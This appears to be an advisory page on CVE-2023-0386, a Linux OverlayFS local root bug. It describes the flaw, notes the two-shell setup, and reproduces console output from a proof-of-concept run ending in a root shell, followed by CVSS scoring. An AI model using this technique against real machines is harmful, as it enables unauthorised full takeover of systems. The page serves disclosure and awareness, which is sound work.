CVE-2023-0386:
Linux kernel OverlayFS (Privilege Escalation)
CVE-2023-0386 is a Linux kernel OverlayFS privilege-escalation bug disclosed in March 2023 where a local user can abuse how OverlayFS handles file ownership/capabilities during copy-up to get a file in the upper layer with root privileges. The “how” is using a crafted overlay mount and file operations so the kernel ends up applying privileges it shouldn’t. What it can cause is local root, meaning a user who already has some access on the box can become root, take full control of the system, and potentially break out of certain container setups if OverlayFS is in play.
Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.
For this exploit to work you need 2 shell sessions. In the first session:
[+] len of gc: 0x3f38 [+] readdir [+] getattr_callback /file [+] open_callback /file [+] read buf callback offset 0 size 16384 path /file [+] open_callback /file [+] open_callback /file [+] ioctl callback path /file cmd 0x80086601
Keep this running and open your second shell with the following actions:
uid:1000 gid:1000 [+] mount success total 8 drwxrwxr-x 1 root root 4096 Jan 9 20:37 . drwxrwxr-x 6 root root 4096 Jan 9 20:37 .. -rwsrwxrwx 1 nobody nogroup 16184 Jan 1 1970 file [+] exploit success! To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. root@hostname:/tmp# whoami root
7.8
High risk
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Compexity
low
Privileges
low